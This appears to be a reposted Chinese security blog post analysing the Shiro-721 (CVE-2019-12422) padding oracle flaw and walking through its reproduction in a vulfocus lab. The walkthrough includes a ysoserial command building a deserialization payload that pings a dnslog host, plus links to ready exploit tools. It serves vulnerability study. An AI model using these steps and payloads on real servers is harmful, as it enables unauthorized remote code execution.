Shiro-721—漏洞分析(CVE-2019-12422)

news/2024/9/21 6:08:37

目录
  • Padding Oracle Attack 原理
    • PKCS5填充
    • 怎么爆破攻击
  • 漏洞原理
  • 源码分析
  • 漏洞复现

本文基于shiro550漏洞基础上分析,建议先看上期内容:
https://blog.csdn.net/weixin_60521036/article/details/142373353

Padding Oracle Attack 原理

网上看了很多,感觉写的对我们这种对密码学不敏感的人来说非常不友好,毕竟不是所有术语都能看懂,所以我总结了一下Padding Oracle Attack 的攻击原理。

PKCS5填充

padding有很多种方式,shiro使用了PKCS5的填充方式:
如下图所示(找规律能找出来么?):
在这里插入图片描述
意思就是:
约定 :*表示任意数据,每个数据块为8字节。
当你数据为 ** ** ** ** ** ** ** ,7字节差一字节成一块,那么为了保持数据一块一块的,就需要填充一个数据,该数据根据PKCS5规则,因为差一个字节,所以填充01。
上图中接着填充 02 02 的意思就是他有6字节数据 ** ** ** ** ** ** ,还差俩字节,所以用02 02来填充,02数值是告诉你差多少字节,而填充的字节个数和数值是一样的。(是不是有点摸着门道了?)
解释到这规律应该能看出来了,不用再过多理解。

ps:补充,当你刚好8字节满了的时候,就给你另外开一个数据块填充:(如下所示)

** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08

怎么爆破攻击

首先我们需要知道怎么判断我们padding数据正确:
在验证 Padding 失败时的返回信息应该不同,其中 PKCS5Padding#unpad 方法对数据的填充格式进行判断,有问题会返回 -1;

当返回值小于0时,CipherCore#doFinal 方法会抛出BadPaddingException 异常;

接着 JcaCipherService#crypt 方法、AbstractRememberMeManager#getRememberedPrincipals 方法均返回异常,而且AbstractRememberMeManager#getRememberedPrincipals方法还好调用onRememberedPrincipalFailure 移除 rememberMe cookie并添加 deleteMe

这里只需要知道若攻击失败了就会返回deleteMe
在这里插入图片描述

这个padding攻击涉及的东西好多,本人实在是无法解释清楚,比如参考文章中有写:前一块密文是后一块密文的IV,通过异或中间值,得到明文,这个也是一个重要信息,但是本篇文章主要解释漏洞的发生最主要的原因,就不去深究更多的加解密的攻击。

漏洞原理

原理其实很简单,shiro解决了密钥硬编码问题后,使用了AES-CBC加密方式,也就是说其他加解密过程没有变,但是漏洞的原因是因为加密能够被Padding Oracle Attack ,也就是说我们不用找到密钥就能够直接修改rememberMe字段,而这里需要注意的细节就是:
需要通过已知 RememberMe 密文 使用 Padding Oracle Attack 一点点爆破来达到篡改和构造恶意的反序列化密文来触发反序列化漏洞。
这也说明了为啥一定要有符法的cookie才能进行攻击,因为你要走到让他padding的那一步需要合法的身份认证\

不知各位道友搞懂了没,总之我的看法就是:
因为加密算法可被攻击的原因导致可爆破解密后篡改数据就这么简单的理解即可。

在这里插入图片描述

源码分析

偷个懒直接看我之前的文章shiro550 的源码分析即可
https://blog.csdn.net/weixin_60521036/article/details/142373353
721主要的解密过程没有变,只要你成功padding进去了,就能走到反序列化那一步,个人感觉不用理解那么透彻,本身这个漏洞也挺鸡肋,需要登陆成功的身份认证cookie才能攻击。
看下面的调用栈就知道和shiro550是一样的了,就是加解密那块改了。
在这里插入图片描述

漏洞复现

使用vulfocus靶场复现


话不多说,直接上最快捷的道具,后面再讲解另外一种抓包方式的攻击
下面这个工具在shiro550也能用,雀氏挺牛13的:
https://github.com/SummerSec/ShiroAttack2
在这里插入图片描述

接着直接爆破利用链即可
在这里插入图片描述

直接就能执行命令了
在这里插入图片描述


在这里插入图片描述

登录记得勾选Remember Me
在这里插入图片描述
抓包放包,如果你密码正确,那么就会返回一个rememberMe字段的cookie,接着就是使用该cookie进行padding攻击了。
在这里插入图片描述

  • 首先使用Java反序列化工具 ysoserial 生成 Payload:
    java -jar ysoserial.jar CommonsBeanutils1 "ping 9ck71c.dnslog.cn" > payload.class
    在这里插入图片描述

  • 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
    https://github.com/inspiringz/Shiro-721 # 暴破AES密钥的脚本

    注意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

    使用你刚刚用cookie生成的payload.class
    在这里插入图片描述

  • 漫长等待后,拿到pad数据后直接丢到cookie上面
    在这里插入图片描述
    接着看你自己的dnslog日志即可查看是否攻击成功了 。


参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/193165

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/62799.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

node环境搭建、npm及pnpm安装

1.背景最近换了笔记本,重新搭建了环境,顺手记录下脚本之类的,后续再遇到懒得一个个文件夹创建了。2.node及npm安装 2.1 解压安装 我习惯安装的是解压版:点击此处下载下载完成后,会得到压缩包,解压到指定位置即可。例如,我放在了: D:\toolkit\node\20.17.0解压后的文件中…

pnpm-配置环境目录(win脚本)

1.背景最近换了笔记本,重新搭建了环境。装完node后一般咱们会换到pnpm,这里记录下配置pnpm环境的脚本,懒得一个个文件夹创建了。文件夹名称 作用.pnpm-bin-dir 存放全局安装的可执行文件路径,方便在命令行中直接调用这些工具。.pnpm-cache 用于存储下载的包的缓存,加速后续…

大数据与人工智能-平台搭建准备之VM虚拟机与centos网络配置

一.前提(前提可以不看): 准备好需要的JDK,HADOOP,HIVE……等一些列组建安装包。 rpm -ivh –nodeps xxxx.rpm 可以强制安装本地xxxx软件包 为了提高虚拟机运行速度,可以关闭Cent os7的图形化界面:查看默认的target,执行:systemctl get-default开机以命令模式启动,执行…

游戏技术

目录显示相关的术语每个帧的像素:分辨率多个帧的刷新:刷新率、帧率每个像素的颜色编码码率显卡渲染技术DLSS2 牺牲画质 提高帧率DLSS3 进一步提高帧率 刷新更流畅 显示相关的术语 每个帧的像素:分辨率 分辨率 = 水平宽度的像素数(列数) x 垂直高度的像素数(行数)速记 分辨率…

基于双闭环PI的SMO无速度控制系统simulink建模与仿真

1.课题概述基于双闭环PI的SMO无速度控制系统simulink建模与仿真,基于双闭环PI的SMO无速度控制系统主要由两个闭环组成:一个是电流环,另一个是速度环。电流环作为内环,主要负责电流的快速跟踪控制;速度环作为外环,负责速度的精确控制。这种双闭环结构可以有效提高系统的动…

基于ACO蚁群优化的UAV最优巡检路线规划算法matlab仿真

1.程序功能描述 基于ACO蚁群优化法的UAV最优巡检路线规划。蚁群优化算法源于对自然界蚂蚁寻找食物路径行为的模拟。在无人机巡检路线规划问题中,无人机被认为是“蚂蚁”,巡检点视为“食物源”,目标是找到一条总距离(或总能耗、总时间等)最短的巡检路线。 2.测试软件…

痞子衡嵌入式:如果i.MXRT离线无法启动,试着分析ROM启动日志

大家好,我是痞子衡,是正经搞技术的痞子。今天痞子衡给大家介绍的是恩智浦i.MXRT系列MCU的ROM启动日志。关于 i.MX RT 启动问题解决的文章,痞子衡写过非常多,其中大部分都是具体到某一类启动设备下的具体问题分析,比较依赖经验,这些经验当然是非常有用的。此外也有一篇 《…